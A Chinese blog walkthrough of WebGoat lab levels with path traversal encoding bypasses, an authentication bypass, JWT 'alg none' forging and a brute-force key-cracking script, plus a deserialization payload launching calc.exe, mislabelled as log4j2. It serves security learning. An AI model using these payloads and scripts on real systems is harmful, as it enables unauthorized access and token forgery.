安全基础~web攻防特性2

这篇具有很好参考价值的文章主要介绍了安全基础~web攻防特性2。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

知识补充

Burpsuite Render在无法预览显示时,可以适当的清理缓存
win10下输入文字变成繁体解决

Javaweb安全之webGoat

webgoat靶场搭建

进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。
下载文件(最新版本包含新的漏洞靶场):
https://github.com/WebGoat/WebGoat/releases/
https://github.com/WebGoat/WebGoat/releases/
执行命令,开启靶场:
java -jar webgoat-server-8.0.0.M17.jar [–server.port=8080] [–server.address=localhost]
java -jar webwolf-8.0.0.M17.jar

安全基础~web攻防特性2,安全学习,安全
访问链接:http://127.0.0.1:8080/WebGoat,自动跳转login界面,注册登录。

其中webgoat用于进行WEB漏洞测试和学习的JAVA应用程序,webwolf用于模拟攻击者,其中提供了许多辅助攻击者的工具
安全基础~web攻防特性2,安全学习,安全

参考文章1
参考文章2

闯关

General

Basics HTTP基础

  1. 随便输入字符串,经过服务器就给你逆序,不过这个输入框是存在xss的
  2. 就是逆序输出
  3. 输入框让输入POST或GET命令,输入魔法数字,抓包
    安全基础~web攻防特性2,安全学习,安全
    注 \color{red}{注} :这个数字是会变的,需要每次抓包观察

Proxies HTTP代理

  1. 将参数输入进去,进入bp,右键change method
    Change the Method to GET
    Add a header ‘x-request-intercepted:true’
    Remove the request body and instead send ‘changeMe’ as a query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes)
    Then let the request continue through (by hitting the play button).
    安全基础~web攻防特性2,安全学习,安全

Developer Tools 开发者工具

  1. Using the console
    在concle中输入webgoat.customjs.phoneHome(),将随机数粘贴进输入框
    安全基础~web攻防特性2,安全学习,安全
    6. Working with the Network tab
    在http请求的请求字段中包含一个networkNum字段,将随机数复制上去
    安全基础~web攻防特性2,安全学习,安全
    注 \color{red}{注} :想到为什么会在payload中才能看到这串数字
    前后端联调之Form Data与Request Payload,具体解释说道:该字段的出现类型主要伴随着Content-type的出现而出现

Injection

Path traversal 路径遍历
攻击者可以在其中访问或存储外部的文件和目录 应用程序的位置
解决问题:部分目录不允许上传可执行文件,向上级目录上传
查看源码:将jar宝解压,用idea打开,寻找对应的jar,添加道路,对源码进行查看

  1. 要求上传到C:\Users\2han/.webgoat-2023.8/PathTraversal位置,经过抓包后发现,其上传位置包含了一个resign,所以要上传到其上一级目录。
    安全基础~web攻防特性2,安全学习,安全修改目标位置
    @ResponseBody
        public AttackResult uploadFileHandler(@RequestParam("uploadedFile") MultipartFile file, @RequestParam(value = "fullName",required = false) String fullName) {
            return super.execute(file, fullName);
        }
    
    安全基础~web攻防特性2,安全学习,安全
    成功过关
    安全基础~web攻防特性2,安全学习,安全
  2. 对上次实验做了修复,需要相同的结果,结果如下
    安全基础~web攻防特性2,安全学习,安全
    第一行post到服务器端POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1,查找该文件,进行了单层过滤替代。
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileFix") MultipartFile file, @RequestParam(value = "fullNameFix",required = false) String fullName) {
        return super.execute(file, fullName != null ? fullName.replace("../", "") : "");
    }
    
    双写绕过
    安全基础~web攻防特性2,安全学习,安全
  3. 一样是将文件上传到该位置,getOriginalFilename()得到上传时的文件名,所以从文件名入手。
    源码
    @ResponseBody
    public AttackResult uploadFileHandler(@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) {
        return super.execute(file, file.getOriginalFilename());
    }
    
    安全基础~web攻防特性2,安全学习,安全
  4. 一样的,直接看源码
    如果参数为null,或者不包含…或/,则进入下面的代码;
    获取id,有id则赋值,若没有id,则生成一个1~10的随机数作为id;
    catPicture是id后面加了.jpg;
    若出现path-traversal-secret.jpg参数,返回ok。

安全基础~web攻防特性2,安全学习,安全
开始尝试,当传入id=1,有返回
安全基础~web攻防特性2,安全学习,安全
尝试查找path-traversal-secret,当有…/时会出现非法字符提示,尝试使用反斜杠\仍旧无法绕过,使用%2e%2e%2f进行绕过

安全基础~web攻防特性2,安全学习,安全
安全基础~web攻防特性2,安全学习,安全
安全基础~web攻防特性2,安全学习,安全

总结:
目录遍历双写…/绕过,双写绕过;
返回400,说明服务器后台并未对目录遍历攻击作任何限制,但是并没有请求到资源;
GET 请求参数中不允许存在…与/时,通过 url 编码绕过,%2e%2e%2f为. ./;
当服务器只允许获取当前格式的资源时,使用空白字符绕过,%20,%2a;
当使用post传参时,仅修改可变参数。

ldentity & Auth Failure

Authentication Bypasses 身份认证绕过
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
根据第一行数据可查找后台代码

身份认证:
认证问题答案,很多选项:
你叫什么名字等等…只有两个问题(类似原来的qq密保类的东西)

接受键名和键值
s0=xiaodi&s1=湖北 正确
s3=null&s4=null发送数据
s3 s4为空,相当于NULL,那么就能进行绕过。
安全验证:
固定接受的数据:s0 s1判断你的数据 正常
不固定:s0 s1 正常
不固定:s2 s3不在数据库或者变量内,攻击者就能测试。
URL触发连接,访问地址:auth-bypass/verify-account

安全基础~web攻防特性2,安全学习,安全

JWT tokens

安全基础~web攻防特性2,安全学习,安全

由三部分构成,以.分隔,出现在cookie上
安全基础~web攻防特性2,安全学习,安全

The token is base64 encoded and consists of three parts:

1.header是base64编码后的头部信息    
	{'typ': 'JWT','alg': 'HS256'}    
	定义了声明token类型和签名算法alg   
2.payload是base编码的载荷部分,用来包含用户名,权限等数据    
	iss (issuer):签发人       
	sub (subject):主题   
	aud (audience):受众     
	exp (expiration time):过期时间   
	nbf (Not Before):生效时间,在此之前是无效的     
	iat (Issued At):签发时间  
	jti (JWT ID):编号    
	-定义一个payload:{
	"sub": "l3ife",
	"name": "l3ife",
	 "iat": 888888}
	 对其进行base64加密,得到jwt的第二部分
	eyJzdWIiOiJsM2lmZSIsIm5hbWUiOiJsM2lmZSIsImlhdCI6ODg4ODg4fQ
3.signature,把前两段的base密文通过﹐拼接起来,然后对其进行HS256加密,再然后对 hs256密文进行base64url加密,最终得到token的第三段。
HS256加密:
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
   
RS256加密:      
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)

解密平台:https://jwt.io/

安全基础~web攻防特性2,安全学习,安全
用户在成功对服务器进行身份验证时使用用户名和密码登录返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续调用服务器,它将新令牌附加到“Authorization”标头中。 服务器读取令牌并首先验证签名,验证成功后,服务器使用令牌中用于标识用户的信息。

  1. 用户无法投票,只有成为管理员才可以投票,需要更改令牌成为管理员用户,成了管理员用户才可以重置投票
    安全基础~web攻防特性2,安全学习,安全
    安全基础~web攻防特性2,安全学习,安全
    声明加密方法为HS512,第二部分声明用户名和权限,可以看到管理员权限为false
    将admin改为true,由于加密方法是HS512,且不知道秘钥,所以只能将alg的值改为none,即无加密方法。
    安全基础~web攻防特性2,安全学习,安全
    {
    “alg”: “none”
    }
    安全基础~web攻防特性2,安全学习,安全
    {
    “iat”: 1706459434,
    “admin”: “true”,
    “user”: “Tom”
    }
    安全基础~web攻防特性2,安全学习,安全
    11.  暴力破解便有可能将密钥解出。

    token:eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwNTYwNDg5NiwiZXhwIjoxNzA1NjA0OTU2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5aqiNb0jY1xvFycagd65E1eN0PsFhbgvhf8lBMXZTio

    安全基础~web攻防特性2,安全学习,安全
    暴力破解

    import jwt
    import termcolor
    if __name__ == "__main__":
        jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MTg5Njc3MiwiZXhwIjoxNjQxODk2ODMyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.ZaBAasksu_uUYloJwpaNwzRhpIaHNSSYxSANfmNZ1Rk'
        with open('top1000.txt') as f:
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, algorithms=["HS256"],verify=True, key=key_)
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')	# bingo! found key --> victory <--
    

    根据要求修改username为webgoat;将密钥填进去;修改一下exp的时间戳,只要比当前时间晚就好。

13.  之前的日志,找到一种方法去让tom花钱订购书,在日志中发现token
安全基础~web攻防特性2,安全学习,安全
抓结账的宝,修改jwt,exp为请求过期时间,加密方式使用none

安全基础~web攻防特性2,安全学习,安全
参考链接
参考文章1
参考文章2

log4j2漏洞利用

<sorted-set>
 <string>foo</string>
 <dynamic-proxy>
 <interface>java.lang.Comparable</interface>
 <handler class="java.beans.EventHandler">
 <target class="java.lang.ProcessBuilder">
 <command>
 <string>calc.exe</string>
 </command>
 </target>
 <action>start</action>
 </handler>
 </dynamic-proxy>
</sorted-set>

JS项目&Node.JS框架安全

JavaScript语言可以通过其网站本身代码检查查看,等同于白盒测试
在Javascript中也存在变量和函数,存在可控变量及函数调用,即参数漏洞

判断是否为js代码开发的web应用
插件wappalyzer
源代码简短
引入多个js文件
一般有/static/js/app.js 等顺序的js文件
cookie中有connect.sid

如何获取更多的JS文件?

JsFinder
Packer-Fuzzer
扫描器后缀替换字典

快速获取价值代码?

method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget

参考文章文章来源地址https://www.toymoban.com/news/detail-824554.html

到了这里,关于安全基础~web攻防特性2的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 零基础自学网络安全/网络渗透攻防路线学习方法【建议收藏】

    1.这是一条坚持的道路,三分钟的热情可以放弃往下看了. 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发. 3.有时多google,baidu,我们往往都遇不到好心的大神,谁会无聊天天给你做解答. 4.遇到实在搞不懂的,可以先放放,以后再来解决. 1.web安全方

    2024年02月03日
    浏览(67)
  • day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性

    目录 1.JS验证 2.JS验证+MIME  3.JS验证+.user.ini  4.JS验证+.user.ini+短标签 (ctfshow154,155关) 5.JS验证+.user.ini+短标签+过滤 [ ] 6.JS验证+.user.ini+短标签+加过滤+文件头 有关文件上传的知识 1.为什么文件上传存在漏洞        上传文件时,如果服务瑞代码未对客户端上传的文件进行严

    2024年01月25日
    浏览(46)
  • Web安全攻防世界06 easyupload

    这道题我挣扎了很久,还是没有解出来,详细 错误 解题思路可以参考另一篇博文~(#_-) CTF 总结01:文件上传绕过_梅头脑_的博客-CSDN博客 ↑博文很啰嗦地讲述了我用蚁剑连接一句话木马花式写法的各种失败姿势,面对文件上传一步一个坑的绝望心态,欢迎同伴围观、吐槽和指

    2024年02月07日
    浏览(40)
  • Web 攻防之业务安全:输入 / 输出模块测试.

    业务安全是指保护业务系统免受安全威胁的措施或手段。 广义 的业务安全应包括业务运行的 软硬件平台 (操作系统、数据库,中间件等)、 业务系统自身 (软件或设备)、 业务所提供的服务安全 ; 狭义 的业务安全指 业务系统自有的软件与服务的安全 。 输入 / 输出模块

    2023年04月24日
    浏览(39)
  • Web 攻防之业务安全:验证码绕过测试.

    业务安全是指保护业务系统免受安全威胁的措施或手段。 广义 的业务安全应包括业务运行的 软硬件平台 (操作系统、数据库,中间件等)、 业务系统自身 (软件或设备)、 业务所提供的服务安全 ; 狭义 的业务安全指 业务系统自有的软件与服务的安全 。 验证码绕过测试

    2023年04月10日
    浏览(40)
  • Web安全攻防世界05 easyphp(江苏工匠杯)

    题目是这个样子的: 发现自己编辑的东西有一部分没有被发出来,怪不得阅读量低到可怜...现在重新补上一些内容,解题过程很罗嗦,对小白依然友好~ 按照惯例,把源码贴在这里逐行分析一下~ 解题思路如下: 整个题目就是单纯地在考验php语法,并且每个变量输错了都有不同

    2024年02月13日
    浏览(45)
  • WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE

    知识点: 1、Java安全-原生反序列化-3大类接口函数利用 2、Java安全-SpringBoot攻防-泄漏安全CVE安全 序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记( ac ed 00 05 )开头,base64编码的特征为 rO0AB 。 JAVA常见的序列化

    2024年02月03日
    浏览(40)
  • 网络安全入门 5 天速成教程_ WEB 安全渗透攻防技术

    前言 随着 Web 技术发展越来越成熟,而非 Web 服务越来越少的暴露在互联网上,现在互联网安全主要指的是 Web 安全。 为了自身不“裸奔”在大数据里,渐渐开始学习 Web 安全,在学习 Web 安全的过程中,发现很大一部分知识点都相对零散,如果没有相对清晰 的脉络作为参考,

    2024年04月23日
    浏览(47)
  • Web 攻防之业务安全:验证码自动识别 测试.

    验证码安全 也可以叫《 全自动区分计算机和人类的图灵测试 》,是一种 区分用户是计算机还是人的共全自动程序。 可以防止:恶意破解密码、刷票、论坛灌水。可以有效防止黑客对某一个特定用户用特定程序暴力破解方式进行不断的登陆尝试。由于计算机无法解答CAPTCHA的

    2023年04月11日
    浏览(51)
  • Web安全攻防世界01 fileinclude(宜兴网信办)

    攻防世界文件包含入门题目,参考大佬们的WP有所补充,内容对小白友好~ 按照惯例,首先查看源代码ctrl+u: 整理一下大概是下面这个意思(代码0基础,可能有误,欢迎留言沟通与指正~) 所以题目的关键在于达成这第15行的条件: $lan = $_COOKIE[\\\'language\\\']; 在cookie中的内容 lang

    2023年04月08日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包